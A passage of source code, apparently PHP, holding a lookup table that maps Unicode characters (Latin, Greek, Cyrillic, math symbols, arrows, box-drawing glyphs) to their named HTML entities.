        '·' => '&CenterDot;',
        '¸' => '&Cedilla;',
        '¹' => '&sup1;',
        'º' => '&ordm;',
        '»' => '&raquo;',
        '¼' => '&frac14;',
        '½' => '&half;',
        '¾' => '&frac34;',
        '¿' => '&iquest;',
        'À' => '&Agrave;',
        'Á' => '&Aacute;',
        'Â' => '&Acirc;',
        'Ã' => '&Atilde;',
        'Ä' => '&Auml;',
        'Å' => '&Aring;',
        'Æ' => '&AElig;',
        'Ç' => '&Ccedil;',
        'È' => '&Egrave;',
        'É' => '&Eacute;',
        'Ê' => '&Ecirc;',
        'Ë' => '&Euml;',
        'Ì' => '&Igrave;',
        'Í' => '&Iacute;',
        'Î' => '&Icirc;',
        'Ï' => '&Iuml;',
        'Ð' => '&ETH;',
        'Ñ' => '&Ntilde;',
        'Ò' => '&Ograve;',
        'Ó' => '&Oacute;',
        'Ô' => '&Ocirc;',
        'Õ' => '&Otilde;',
        'Ö' => '&Ouml;',
        '×' => '&times;',
        'Ø' => '&Oslash;',
        'Ù' => '&Ugrave;',
        'Ú' => '&Uacute;',
        'Û' => '&Ucirc;',
        'Ü' => '&Uuml;',
        'Ý' => '&Yacute;',
        'Þ' => '&THORN;',
        'ß' => '&szlig;',
        'à' => '&agrave;',
        'á' => '&aacute;',
        'â' => '&acirc;',
        'ã' => '&atilde;',
        'ä' => '&auml;',
        'å' => '&aring;',
        'æ' => '&aelig;',
        'ç' => '&ccedil;',
        'è' => '&egrave;',
        'é' => '&eacute;',
        'ê' => '&ecirc;',
        'ë' => '&euml;',
        'ì' => '&igrave;',
        'í' => '&iacute;',
        'î' => '&icirc;',
        'ï' => '&iuml;',
        'ð' => '&eth;',
        'ñ' => '&ntilde;',
        'ò' => '&ograve;',
        'ó' => '&oacute;',
        'ô' => '&ocirc;',
        'õ' => '&otilde;',
        'ö' => '&ouml;',
        '÷' => '&divide;',
        'ø' => '&oslash;',
        'ù' => '&ugrave;',
        'ú' => '&uacute;',
        'û' => '&ucirc;',
        'ü' => '&uuml;',
        'ý' => '&yacute;',
        'þ' => '&thorn;',
        'ÿ' => '&yuml;',
        'Ā' => '&Amacr;',
        'ā' => '&amacr;',
        'Ă' => '&Abreve;',
        'ă' => '&abreve;',
        'Ą' => '&Aogon;',
        'ą' => '&aogon;',
        'Ć' => '&Cacute;',
        'ć' => '&cacute;',
        'Ĉ' => '&Ccirc;',
        'ĉ' => '&ccirc;',
        'Ċ' => '&Cdot;',
        'ċ' => '&cdot;',
        'Č' => '&Ccaron;',
        'č' => '&ccaron;',
        'Ď' => '&Dcaron;',
        'ď' => '&dcaron;',
        'Đ' => '&Dstrok;',
        'đ' => '&dstrok;',
        'Ē' => '&Emacr;',
        'ē' => '&emacr;',
        'Ė' => '&Edot;',
        'ė' => '&edot;',
        'Ę' => '&Eogon;',
        'ę' => '&eogon;',
        'Ě' => '&Ecaron;',
        'ě' => '&ecaron;',
        'Ĝ' => '&Gcirc;',
        'ĝ' => '&gcirc;',
        'Ğ' => '&Gbreve;',
        'ğ' => '&gbreve;',
        'Ġ' => '&Gdot;',
        'ġ' => '&gdot;',
        'Ģ' => '&Gcedil;',
        'Ĥ' => '&Hcirc;',
        'ĥ' => '&hcirc;',
        'Ħ' => '&Hstrok;',
        'ħ' => '&hstrok;',
        'Ĩ' => '&Itilde;',
        'ĩ' => '&itilde;',
        'Ī' => '&Imacr;',
        'ī' => '&imacr;',
        'Į' => '&Iogon;',
        'į' => '&iogon;',
        'İ' => '&Idot;',
        'ı' => '&inodot;',
        'IJ' => '&IJlig;',
        'ij' => '&ijlig;',
        'Ĵ' => '&Jcirc;',
        'ĵ' => '&jcirc;',
        'Ķ' => '&Kcedil;',
        'ķ' => '&kcedil;',
        'ĸ' => '&kgreen;',
        'Ĺ' => '&Lacute;',
        'ĺ' => '&lacute;',
        'Ļ' => '&Lcedil;',
        'ļ' => '&lcedil;',
        'Ľ' => '&Lcaron;',
        'ľ' => '&lcaron;',
        'Ŀ' => '&Lmidot;',
        'ŀ' => '&lmidot;',
        'Ł' => '&Lstrok;',
        'ł' => '&lstrok;',
        'Ń' => '&Nacute;',
        'ń' => '&nacute;',
        'Ņ' => '&Ncedil;',
        'ņ' => '&ncedil;',
        'Ň' => '&Ncaron;',
        'ň' => '&ncaron;',
        'ʼn' => '&napos;',
        'Ŋ' => '&ENG;',
        'ŋ' => '&eng;',
        'Ō' => '&Omacr;',
        'ō' => '&omacr;',
        'Ő' => '&Odblac;',
        'ő' => '&odblac;',
        'Œ' => '&OElig;',
        'œ' => '&oelig;',
        'Ŕ' => '&Racute;',
        'ŕ' => '&racute;',
        'Ŗ' => '&Rcedil;',
        'ŗ' => '&rcedil;',
        'Ř' => '&Rcaron;',
        'ř' => '&rcaron;',
        'Ś' => '&Sacute;',
        'ś' => '&sacute;',
        'Ŝ' => '&Scirc;',
        'ŝ' => '&scirc;',
        'Ş' => '&Scedil;',
        'ş' => '&scedil;',
        'Š' => '&Scaron;',
        'š' => '&scaron;',
        'Ţ' => '&Tcedil;',
        'ţ' => '&tcedil;',
        'Ť' => '&Tcaron;',
        'ť' => '&tcaron;',
        'Ŧ' => '&Tstrok;',
        'ŧ' => '&tstrok;',
        'Ũ' => '&Utilde;',
        'ũ' => '&utilde;',
        'Ū' => '&Umacr;',
        'ū' => '&umacr;',
        'Ŭ' => '&Ubreve;',
        'ŭ' => '&ubreve;',
        'Ů' => '&Uring;',
        'ů' => '&uring;',
        'Ű' => '&Udblac;',
        'ű' => '&udblac;',
        'Ų' => '&Uogon;',
        'ų' => '&uogon;',
        'Ŵ' => '&Wcirc;',
        'ŵ' => '&wcirc;',
        'Ŷ' => '&Ycirc;',
        'ŷ' => '&ycirc;',
        'Ÿ' => '&Yuml;',
        'Ź' => '&Zacute;',
        'ź' => '&zacute;',
        'Ż' => '&Zdot;',
        'ż' => '&zdot;',
        'Ž' => '&Zcaron;',
        'ž' => '&zcaron;',
        'ƒ' => '&fnof;',
        'Ƶ' => '&imped;',
        'ǵ' => '&gacute;',
        'ȷ' => '&jmath;',
        'ˆ' => '&circ;',
        'ˇ' => '&Hacek;',
        '˘' => '&Breve;',
        '˙' => '&dot;',
        '˚' => '&ring;',
        '˛' => '&ogon;',
        '˜' => '&DiacriticalTilde;',
        '˝' => '&DiacriticalDoubleAcute;',
        '̑' => '&DownBreve;',
        'Α' => '&Alpha;',
        'Β' => '&Beta;',
        'Γ' => '&Gamma;',
        'Δ' => '&Delta;',
        'Ε' => '&Epsilon;',
        'Ζ' => '&Zeta;',
        'Η' => '&Eta;',
        'Θ' => '&Theta;',
        'Ι' => '&Iota;',
        'Κ' => '&Kappa;',
        'Λ' => '&Lambda;',
        'Μ' => '&Mu;',
        'Ν' => '&Nu;',
        'Ξ' => '&Xi;',
        'Ο' => '&Omicron;',
        'Π' => '&Pi;',
        'Ρ' => '&Rho;',
        'Σ' => '&Sigma;',
        'Τ' => '&Tau;',
        'Υ' => '&Upsilon;',
        'Φ' => '&Phi;',
        'Χ' => '&Chi;',
        'Ψ' => '&Psi;',
        'Ω' => '&Omega;',
        'α' => '&alpha;',
        'β' => '&beta;',
        'γ' => '&gamma;',
        'δ' => '&delta;',
        'ε' => '&epsi;',
        'ζ' => '&zeta;',
        'η' => '&eta;',
        'θ' => '&theta;',
        'ι' => '&iota;',
        'κ' => '&kappa;',
        'λ' => '&lambda;',
        'μ' => '&mu;',
        'ν' => '&nu;',
        'ξ' => '&xi;',
        'ο' => '&omicron;',
        'π' => '&pi;',
        'ρ' => '&rho;',
        'ς' => '&sigmav;',
        'σ' => '&sigma;',
        'τ' => '&tau;',
        'υ' => '&upsi;',
        'φ' => '&phi;',
        'χ' => '&chi;',
        'ψ' => '&psi;',
        'ω' => '&omega;',
        'ϑ' => '&thetasym;',
        'ϒ' => '&upsih;',
        'ϕ' => '&straightphi;',
        'ϖ' => '&piv;',
        'Ϝ' => '&Gammad;',
        'ϝ' => '&gammad;',
        'ϰ' => '&varkappa;',
        'ϱ' => '&rhov;',
        'ϵ' => '&straightepsilon;',
        '϶' => '&backepsilon;',
        'Ё' => '&IOcy;',
        'Ђ' => '&DJcy;',
        'Ѓ' => '&GJcy;',
        'Є' => '&Jukcy;',
        'Ѕ' => '&DScy;',
        'І' => '&Iukcy;',
        'Ї' => '&YIcy;',
        'Ј' => '&Jsercy;',
        'Љ' => '&LJcy;',
        'Њ' => '&NJcy;',
        'Ћ' => '&TSHcy;',
        'Ќ' => '&KJcy;',
        'Ў' => '&Ubrcy;',
        'Џ' => '&DZcy;',
        'А' => '&Acy;',
        'Б' => '&Bcy;',
        'В' => '&Vcy;',
        'Г' => '&Gcy;',
        'Д' => '&Dcy;',
        'Е' => '&IEcy;',
        'Ж' => '&ZHcy;',
        'З' => '&Zcy;',
        'И' => '&Icy;',
        'Й' => '&Jcy;',
        'К' => '&Kcy;',
        'Л' => '&Lcy;',
        'М' => '&Mcy;',
        'Н' => '&Ncy;',
        'О' => '&Ocy;',
        'П' => '&Pcy;',
        'Р' => '&Rcy;',
        'С' => '&Scy;',
        'Т' => '&Tcy;',
        'У' => '&Ucy;',
        'Ф' => '&Fcy;',
        'Х' => '&KHcy;',
        'Ц' => '&TScy;',
        'Ч' => '&CHcy;',
        'Ш' => '&SHcy;',
        'Щ' => '&SHCHcy;',
        'Ъ' => '&HARDcy;',
        'Ы' => '&Ycy;',
        'Ь' => '&SOFTcy;',
        'Э' => '&Ecy;',
        'Ю' => '&YUcy;',
        'Я' => '&YAcy;',
        'а' => '&acy;',
        'б' => '&bcy;',
        'в' => '&vcy;',
        'г' => '&gcy;',
        'д' => '&dcy;',
        'е' => '&iecy;',
        'ж' => '&zhcy;',
        'з' => '&zcy;',
        'и' => '&icy;',
        'й' => '&jcy;',
        'к' => '&kcy;',
        'л' => '&lcy;',
        'м' => '&mcy;',
        'н' => '&ncy;',
        'о' => '&ocy;',
        'п' => '&pcy;',
        'р' => '&rcy;',
        'с' => '&scy;',
        'т' => '&tcy;',
        'у' => '&ucy;',
        'ф' => '&fcy;',
        'х' => '&khcy;',
        'ц' => '&tscy;',
        'ч' => '&chcy;',
        'ш' => '&shcy;',
        'щ' => '&shchcy;',
        'ъ' => '&hardcy;',
        'ы' => '&ycy;',
        'ь' => '&softcy;',
        'э' => '&ecy;',
        'ю' => '&yucy;',
        'я' => '&yacy;',
        'ё' => '&iocy;',
        'ђ' => '&djcy;',
        'ѓ' => '&gjcy;',
        'є' => '&jukcy;',
        'ѕ' => '&dscy;',
        'і' => '&iukcy;',
        'ї' => '&yicy;',
        'ј' => '&jsercy;',
        'љ' => '&ljcy;',
        'њ' => '&njcy;',
        'ћ' => '&tshcy;',
        'ќ' => '&kjcy;',
        'ў' => '&ubrcy;',
        'џ' => '&dzcy;',
        ' ' => '&ensp;',
        ' ' => '&emsp;',
        ' ' => '&emsp13;',
        ' ' => '&emsp14;',
        ' ' => '&numsp;',
        ' ' => '&puncsp;',
        ' ' => '&ThinSpace;',
        ' ' => '&hairsp;',
        '​' => '&ZeroWidthSpace;',
        '‌' => '&zwnj;',
        '‍' => '&zwj;',
        '‎' => '&lrm;',
        '‏' => '&rlm;',
        '‐' => '&hyphen;',
        '–' => '&ndash;',
        '—' => '&mdash;',
        '―' => '&horbar;',
        '‖' => '&Verbar;',
        '‘' => '&OpenCurlyQuote;',
        '’' => '&rsquo;',
        '‚' => '&sbquo;',
        '“' => '&OpenCurlyDoubleQuote;',
        '”' => '&rdquo;',
        '„' => '&bdquo;',
        '†' => '&dagger;',
        '‡' => '&Dagger;',
        '•' => '&bull;',
        '‥' => '&nldr;',
        '…' => '&hellip;',
        '‰' => '&permil;',
        '‱' => '&pertenk;',
        '′' => '&prime;',
        '″' => '&Prime;',
        '‴' => '&tprime;',
        '‵' => '&backprime;',
        '‹' => '&lsaquo;',
        '›' => '&rsaquo;',
        '‾' => '&oline;',
        '⁁' => '&caret;',
        '⁃' => '&hybull;',
        '⁄' => '&frasl;',
        '⁏' => '&bsemi;',
        '⁗' => '&qprime;',
        ' ' => '&MediumSpace;',
        '  ' => '&ThickSpace',
        '⁠' => '&NoBreak;',
        '⁡' => '&af;',
        '⁢' => '&InvisibleTimes;',
        '⁣' => '&ic;',
        '€' => '&euro;',
        '⃛' => '&TripleDot;',
        '⃜' => '&DotDot;',
        'ℂ' => '&complexes;',
        '℅' => '&incare;',
        'ℊ' => '&gscr;',
        'ℋ' => '&HilbertSpace;',
        'ℌ' => '&Hfr;',
        'ℍ' => '&Hopf;',
        'ℎ' => '&planckh;',
        'ℏ' => '&planck;',
        'ℐ' => '&imagline;',
        'ℑ' => '&Ifr;',
        'ℒ' => '&lagran;',
        'ℓ' => '&ell;',
        'ℕ' => '&naturals;',
        '№' => '&numero;',
        '℗' => '&copysr;',
        '℘' => '&wp;',
        'ℙ' => '&primes;',
        'ℚ' => '&rationals;',
        'ℛ' => '&realine;',
        'ℜ' => '&Rfr;',
        'ℝ' => '&Ropf;',
        '℞' => '&rx;',
        '™' => '&trade;',
        'ℤ' => '&Zopf;',
        '℧' => '&mho;',
        'ℨ' => '&Zfr;',
        '℩' => '&iiota;',
        'ℬ' => '&Bscr;',
        'ℭ' => '&Cfr;',
        'ℯ' => '&escr;',
        'ℰ' => '&expectation;',
        'ℱ' => '&Fouriertrf;',
        'ℳ' => '&Mellintrf;',
        'ℴ' => '&orderof;',
        'ℵ' => '&aleph;',
        'ℶ' => '&beth;',
        'ℷ' => '&gimel;',
        'ℸ' => '&daleth;',
        'ⅅ' => '&CapitalDifferentialD;',
        'ⅆ' => '&DifferentialD;',
        'ⅇ' => '&exponentiale;',
        'ⅈ' => '&ImaginaryI;',
        '⅓' => '&frac13;',
        '⅔' => '&frac23;',
        '⅕' => '&frac15;',
        '⅖' => '&frac25;',
        '⅗' => '&frac35;',
        '⅘' => '&frac45;',
        '⅙' => '&frac16;',
        '⅚' => '&frac56;',
        '⅛' => '&frac18;',
        '⅜' => '&frac38;',
        '⅝' => '&frac58;',
        '⅞' => '&frac78;',
        '←' => '&larr;',
        '↑' => '&uarr;',
        '→' => '&srarr;',
        '↓' => '&darr;',
        '↔' => '&harr;',
        '↕' => '&UpDownArrow;',
        '↖' => '&nwarrow;',
        '↗' => '&UpperRightArrow;',
        '↘' => '&LowerRightArrow;',
        '↙' => '&swarr;',
        '↚' => '&nleftarrow;',
        '↛' => '&nrarr;',
        '↝' => '&rarrw;',
        '↝̸' => '&nrarrw',
        '↞' => '&Larr;',
        '↟' => '&Uarr;',
        '↠' => '&twoheadrightarrow;',
        '↡' => '&Darr;',
        '↢' => '&larrtl;',
        '↣' => '&rarrtl;',
        '↤' => '&LeftTeeArrow;',
        '↥' => '&UpTeeArrow;',
        '↦' => '&map;',
        '↧' => '&DownTeeArrow;',
        '↩' => '&larrhk;',
        '↪' => '&rarrhk;',
        '↫' => '&larrlp;',
        '↬' => '&looparrowright;',
        '↭' => '&harrw;',
        '↮' => '&nleftrightarrow;',
        '↰' => '&Lsh;',
        '↱' => '&rsh;',
        '↲' => '&ldsh;',
        '↳' => '&rdsh;',
        '↵' => '&crarr;',
        '↶' => '&curvearrowleft;',
        '↷' => '&curarr;',
        '↺' => '&olarr;',
        '↻' => '&orarr;',
        '↼' => '&leftharpoonup;',
        '↽' => '&leftharpoondown;',
        '↾' => '&RightUpVector;',
        '↿' => '&uharl;',
        '⇀' => '&rharu;',
        '⇁' => '&rhard;',
        '⇂' => '&RightDownVector;',
        '⇃' => '&dharl;',
        '⇄' => '&rightleftarrows;',
        '⇅' => '&udarr;',
        '⇆' => '&lrarr;',
        '⇇' => '&llarr;',
        '⇈' => '&upuparrows;',
        '⇉' => '&rrarr;',
        '⇊' => '&downdownarrows;',
        '⇋' => '&leftrightharpoons;',
        '⇌' => '&rightleftharpoons;',
        '⇍' => '&nLeftarrow;',
        '⇎' => '&nhArr;',
        '⇏' => '&nrArr;',
        '⇐' => '&DoubleLeftArrow;',
        '⇑' => '&DoubleUpArrow;',
        '⇒' => '&Implies;',
        '⇓' => '&Downarrow;',
        '⇔' => '&hArr;',
        '⇕' => '&Updownarrow;',
        '⇖' => '&nwArr;',
        '⇗' => '&neArr;',
        '⇘' => '&seArr;',
        '⇙' => '&swArr;',
        '⇚' => '&lAarr;',
        '⇛' => '&rAarr;',
        '⇝' => '&zigrarr;',
        '⇤' => '&LeftArrowBar;',
        '⇥' => '&RightArrowBar;',
        '⇵' => '&DownArrowUpArrow;',
        '⇽' => '&loarr;',
        '⇾' => '&roarr;',
        '⇿' => '&hoarr;',
        '∀' => '&forall;',
        '∁' => '&comp;',
        '∂' => '&part;',
        '∂̸' => '&npart',
        '∃' => '&Exists;',
        '∄' => '&nexist;',
        '∅' => '&empty;',
        '∇' => '&nabla;',
        '∈' => '&isinv;',
        '∉' => '&notin;',
        '∋' => '&ReverseElement;',
        '∌' => '&notniva;',
        '∏' => '&prod;',
        '∐' => '&Coproduct;',
        '∑' => '&sum;',
        '−' => '&minus;',
        '∓' => '&MinusPlus;',
        '∔' => '&plusdo;',
        '∖' => '&ssetmn;',
        '∗' => '&lowast;',
        '∘' => '&compfn;',
        '√' => '&Sqrt;',
        '∝' => '&prop;',
        '∞' => '&infin;',
        '∟' => '&angrt;',
        '∠' => '&angle;',
        '∠⃒' => '&nang',
        '∡' => '&angmsd;',
        '∢' => '&angsph;',
        '∣' => '&mid;',
        '∤' => '&nshortmid;',
        '∥' => '&shortparallel;',
        '∦' => '&nparallel;',
        '∧' => '&and;',
        '∨' => '&or;',
        '∩' => '&cap;',
        '∩︀' => '&caps',
        '∪' => '&cup;',
        '∪︀' => '&cups',
        '∫' => '&Integral;',
        '∬' => '&Int;',
        '∭' => '&tint;',
        '∮' => '&ContourIntegral;',
        '∯' => '&DoubleContourIntegral;',
        '∰' => '&Cconint;',
        '∱' => '&cwint;',
        '∲' => '&cwconint;',
        '∳' => '&awconint;',
        '∴' => '&there4;',
        '∵' => '&Because;',
        '∶' => '&ratio;',
        '∷' => '&Colon;',
        '∸' => '&minusd;',
        '∺' => '&mDDot;',
        '∻' => '&homtht;',
        '∼' => '&sim;',
        '∼⃒' => '&nvsim',
        '∽' => '&bsim;',
        '∽̱' => '&race',
        '∾' => '&ac;',
        '∾̳' => '&acE',
        '∿' => '&acd;',
        '≀' => '&wr;',
        '≁' => '&NotTilde;',
        '≂' => '&esim;',
        '≂̸' => '&nesim',
        '≃' => '&simeq;',
        '≄' => '&nsime;',
        '≅' => '&TildeFullEqual;',
        '≆' => '&simne;',
        '≇' => '&ncong;',
        '≈' => '&approx;',
        '≉' => '&napprox;',
        '≊' => '&ape;',
        '≋' => '&apid;',
        '≋̸' => '&napid',
        '≌' => '&bcong;',
        '≍' => '&CupCap;',
        '≍⃒' => '&nvap',
        '≎' => '&bump;',
        '≎̸' => '&nbump',
        '≏' => '&HumpEqual;',
        '≏̸' => '&nbumpe',
        '≐' => '&esdot;',
        '≐̸' => '&nedot',
        '≑' => '&doteqdot;',
        '≒' => '&fallingdotseq;',
        '≓' => '&risingdotseq;',
        '≔' => '&coloneq;',
        '≕' => '&eqcolon;',
        '≖' => '&ecir;',
        '≗' => '&circeq;',
        '≙' => '&wedgeq;',
        '≚' => '&veeeq;',
        '≜' => '&triangleq;',
        '≟' => '&equest;',
        '≠' => '&NotEqual;',
        '≡' => '&Congruent;',
        '≡⃥' => '&bnequiv',
        '≢' => '&NotCongruent;',
        '≤' => '&leq;',
        '≤⃒' => '&nvle',
        '≥' => '&ge;',
        '≥⃒' => '&nvge',
        '≦' => '&lE;',
        '≦̸' => '&nlE',
        '≧' => '&geqq;',
        '≧̸' => '&NotGreaterFullEqual',
        '≨' => '&lneqq;',
        '≨︀' => '&lvertneqq',
        '≩' => '&gneqq;',
        '≩︀' => '&gvertneqq',
        '≪' => '&ll;',
        '≪̸' => '&nLtv',
        '≪⃒' => '&nLt',
        '≫' => '&gg;',
        '≫̸' => '&NotGreaterGreater',
        '≫⃒' => '&nGt',
        '≬' => '&between;',
        '≭' => '&NotCupCap;',
        '≮' => '&NotLess;',
        '≯' => '&ngtr;',
        '≰' => '&NotLessEqual;',
        '≱' => '&ngeq;',
        '≲' => '&LessTilde;',
        '≳' => '&GreaterTilde;',
        '≴' => '&nlsim;',
        '≵' => '&ngsim;',
        '≶' => '&lessgtr;',
        '≷' => '&gl;',
        '≸' => '&ntlg;',
        '≹' => '&NotGreaterLess;',
        '≺' => '&prec;',
        '≻' => '&succ;',
        '≼' => '&PrecedesSlantEqual;',
        '≽' => '&succcurlyeq;',
        '≾' => '&precsim;',
        '≿' => '&SucceedsTilde;',
        '≿̸' => '&NotSucceedsTilde',
        '⊀' => '&npr;',
        '⊁' => '&NotSucceeds;',
        '⊂' => '&sub;',
        '⊂⃒' => '&vnsub',
        '⊃' => '&sup;',
        '⊃⃒' => '&nsupset',
        '⊄' => '&nsub;',
        '⊅' => '&nsup;',
        '⊆' => '&SubsetEqual;',
        '⊇' => '&supe;',
        '⊈' => '&NotSubsetEqual;',
        '⊉' => '&NotSupersetEqual;',
        '⊊' => '&subsetneq;',
        '⊊︀' => '&vsubne',
        '⊋' => '&supsetneq;',
        '⊋︀' => '&vsupne',
        '⊍' => '&cupdot;',
        '⊎' => '&UnionPlus;',
        '⊏' => '&sqsub;',
        '⊏̸' => '&NotSquareSubset',
        '⊐' => '&sqsupset;',
        '⊐̸' => '&NotSquareSuperset',
        '⊑' => '&SquareSubsetEqual;',
        '⊒' => '&SquareSupersetEqual;',
        '⊓' => '&sqcap;',
        '⊓︀' => '&sqcaps',
        '⊔' => '&sqcup;',
        '⊔︀' => '&sqcups',
        '⊕' => '&CirclePlus;',
        '⊖' => '&ominus;',
        '⊗' => '&CircleTimes;',
        '⊘' => '&osol;',
        '⊙' => '&CircleDot;',
        '⊚' => '&ocir;',
        '⊛' => '&oast;',
        '⊝' => '&odash;',
        '⊞' => '&boxplus;',
        '⊟' => '&boxminus;',
        '⊠' => '&timesb;',
        '⊡' => '&sdotb;',
        '⊢' => '&vdash;',
        '⊣' => '&dashv;',
        '⊤' => '&DownTee;',
        '⊥' => '&perp;',
        '⊧' => '&models;',
        '⊨' => '&DoubleRightTee;',
        '⊩' => '&Vdash;',
        '⊪' => '&Vvdash;',
        '⊫' => '&VDash;',
        '⊬' => '&nvdash;',
        '⊭' => '&nvDash;',
        '⊮' => '&nVdash;',
        '⊯' => '&nVDash;',
        '⊰' => '&prurel;',
        '⊲' => '&vartriangleleft;',
        '⊳' => '&vrtri;',
        '⊴' => '&LeftTriangleEqual;',
        '⊴⃒' => '&nvltrie',
        '⊵' => '&RightTriangleEqual;',
        '⊵⃒' => '&nvrtrie',
        '⊶' => '&origof;',
        '⊷' => '&imof;',
        '⊸' => '&mumap;',
        '⊹' => '&hercon;',
        '⊺' => '&intcal;',
        '⊻' => '&veebar;',
        '⊽' => '&barvee;',
        '⊾' => '&angrtvb;',
        '⊿' => '&lrtri;',
        '⋀' => '&xwedge;',
        '⋁' => '&xvee;',
        '⋂' => '&bigcap;',
        '⋃' => '&bigcup;',
        '⋄' => '&diamond;',
        '⋅' => '&sdot;',
        '⋆' => '&Star;',
        '⋇' => '&divonx;',
        '⋈' => '&bowtie;',
        '⋉' => '&ltimes;',
        '⋊' => '&rtimes;',
        '⋋' => '&lthree;',
        '⋌' => '&rthree;',
        '⋍' => '&backsimeq;',
        '⋎' => '&curlyvee;',
        '⋏' => '&curlywedge;',
        '⋐' => '&Sub;',
        '⋑' => '&Supset;',
        '⋒' => '&Cap;',
        '⋓' => '&Cup;',
        '⋔' => '&pitchfork;',
        '⋕' => '&epar;',
        '⋖' => '&lessdot;',
        '⋗' => '&gtrdot;',
        '⋘' => '&Ll;',
        '⋘̸' => '&nLl',
        '⋙' => '&Gg;',
        '⋙̸' => '&nGg',
        '⋚' => '&lesseqgtr;',
        '⋚︀' => '&lesg',
        '⋛' => '&gtreqless;',
        '⋛︀' => '&gesl',
        '⋞' => '&curlyeqprec;',
        '⋟' => '&cuesc;',
        '⋠' => '&NotPrecedesSlantEqual;',
        '⋡' => '&NotSucceedsSlantEqual;',
        '⋢' => '&NotSquareSubsetEqual;',
        '⋣' => '&NotSquareSupersetEqual;',
        '⋦' => '&lnsim;',
        '⋧' => '&gnsim;',
        '⋨' => '&precnsim;',
        '⋩' => '&scnsim;',
        '⋪' => '&nltri;',
        '⋫' => '&ntriangleright;',
        '⋬' => '&nltrie;',
        '⋭' => '&NotRightTriangleEqual;',
        '⋮' => '&vellip;',
        '⋯' => '&ctdot;',
        '⋰' => '&utdot;',
        '⋱' => '&dtdot;',
        '⋲' => '&disin;',
        '⋳' => '&isinsv;',
        '⋴' => '&isins;',
        '⋵' => '&isindot;',
        '⋵̸' => '&notindot',
        '⋶' => '&notinvc;',
        '⋷' => '&notinvb;',
        '⋹' => '&isinE;',
        '⋹̸' => '&notinE',
        '⋺' => '&nisd;',
        '⋻' => '&xnis;',
        '⋼' => '&nis;',
        '⋽' => '&notnivc;',
        '⋾' => '&notnivb;',
        '⌅' => '&barwed;',
        '⌆' => '&doublebarwedge;',
        '⌈' => '&lceil;',
        '⌉' => '&RightCeiling;',
        '⌊' => '&LeftFloor;',
        '⌋' => '&RightFloor;',
        '⌌' => '&drcrop;',
        '⌍' => '&dlcrop;',
        '⌎' => '&urcrop;',
        '⌏' => '&ulcrop;',
        '⌐' => '&bnot;',
        '⌒' => '&profline;',
        '⌓' => '&profsurf;',
        '⌕' => '&telrec;',
        '⌖' => '&target;',
        '⌜' => '&ulcorner;',
        '⌝' => '&urcorner;',
        '⌞' => '&llcorner;',
        '⌟' => '&drcorn;',
        '⌢' => '&frown;',
        '⌣' => '&smile;',
        '⌭' => '&cylcty;',
        '⌮' => '&profalar;',
        '⌶' => '&topbot;',
        '⌽' => '&ovbar;',
        '⌿' => '&solbar;',
        '⍼' => '&angzarr;',
        '⎰' => '&lmoust;',
        '⎱' => '&rmoust;',
        '⎴' => '&OverBracket;',
        '⎵' => '&bbrk;',
        '⎶' => '&bbrktbrk;',
        '⏜' => '&OverParenthesis;',
        '⏝' => '&UnderParenthesis;',
        '⏞' => '&OverBrace;',
        '⏟' => '&UnderBrace;',
        '⏢' => '&trpezium;',
        '⏧' => '&elinters;',
        '␣' => '&blank;',
        'Ⓢ' => '&oS;',
        '─' => '&HorizontalLine;',
        '│' => '&boxv;',
        '┌' => '&boxdr;',
        '┐' => '&boxdl;',
        '└' => '&boxur;',
        '┘' => '&boxul;',
        '├' => '&boxvr;',
        '┤' => '&boxvl;',
        '┬' => '&boxhd;',
        '┴' => '&boxhu;',
        '┼' => '&boxvh;',
        '═' => '&boxH;',
        '║' => '&boxV;',
        '╒' => '&boxdR;',
        '╓' => '&boxDr;',
        '╔' => '&boxDR;',
        '╕' => '&boxdL;',
        '╖' => '&boxDl;',
        '╗' => '&boxDL;',
        '╘' => '&boxuR;',
        '╙' => '&boxUr;',
        '╚' => '&boxUR;',
        '╛' => '&boxuL;',
        '╜' => '&boxUl;',
        '╝' => '&boxUL;',
        '╞' => '&boxvR;',
        '╟' => '&boxVr;',
        '╠' => '&boxVR;',
        '╡' => '&boxvL;',
        '╢' => '&boxVl;',
        '╣' => '&boxVL;',
        '╤' => '&boxHd;',
        '╥' => '&boxhD;',
        '╦' => '&boxHD;',
        '╧' => '&boxHu;',
        '╨' => '&boxhU;',
        '╩' => '&boxHU;',
        '╪' => '&boxvH;',
        '╫' => '&boxVh;',
        '╬' => '&boxVH;',
        '▀' => '&uhblk;',
        '▄' => '&lhblk;',
        '█' => '&block;',
        '░' => '&blk14;',
        '▒' => '&blk12;',
        '▓' => '&blk34;',
        '□' => '&Square;',
        '▪' => '&squarf;',
        '▫' => '&EmptyVerySmallSquare;',
        '▭' => '&rect;',
        '▮' => '&marker;',
        '▱' => '&fltns;',
        '△' => '&bigtriangleup;',
        '▴' => '&blacktriangle;',
        '▵' => '&triangle;',
        '▸' => '&blacktriangleright;',
        '▹' => '&rtri;',
        '▽' => '&bigtriangledown;',
        '▾' => '&blacktriangledown;',
        '▿' => '&triangledown;',
        '◂' => '&blacktriangleleft;',
        '◃' => '&ltri;',
        '◊' => '&lozenge;',
        '○' => '&cir;',
        '◬' => '&tridot;',
        '◯' => '&bigcirc;',
        '◸' => '&ultri;',
        '◹' => '&urtri;',
        '◺' => '&lltri;',
        '◻' => '&EmptySmallSquare;',
        '◼' => '&FilledSmallSquare;',
        '★' => '&starf;',
        '☆' => '&star;',
        '☎' => '&phone;',
        '♀' => '&female;',
        '♂' => '&male;',
        '♠' => '&spadesuit;',
        '♣' => '&clubs;',
        '♥' => '&hearts;',
        '♦' => '&diamondsuit;',
        '♪' => '&sung;',
        '♭' => '&flat;',
        '♮' => '&natur;',
        '♯' => '&sharp;',
        '✓' => '&check;',
        '✗' => '&cross;',
        '✠' => '&maltese;',
        '✶' => '&sext;',
        '❘' => '&VerticalSeparator;',
        '❲' => '&lbbrk;',
        '❳' => '&rbbrk;',
        '⟈' => '&bsolhsub;',
        '⟉' => '&suphsol;',
        '⟦' => '&LeftDoubleBracket;',
        '⟧' => '&RightDoubleBracket;',
        '⟨' => '&langle;',
        '⟩' => '&RightAngleBracket;',
        '⟪' => '&Lang;',
        '⟫' => '&Rang;',
        '⟬' => '&loang;',
        '⟭' => '&roang;',
        '⟵' => '&longleftarrow;',
        '⟶' => '&LongRightArrow;',
        '⟷' => '&LongLeftRightArrow;',
        '⟸' => '&xlArr;',
        '⟹' => '&DoubleLongRightArrow;',
        '⟺' => '&xhArr;',
        '⟼' => '&xmap;',
        '⟿' => '&dzigrarr;',
        '⤂' => '&nvlArr;',
        '⤃' => '&nvrArr;',
        '⤄' => '&nvHarr;',
        '⤅' => '&Map;',
        '⤌' => '&lbarr;',
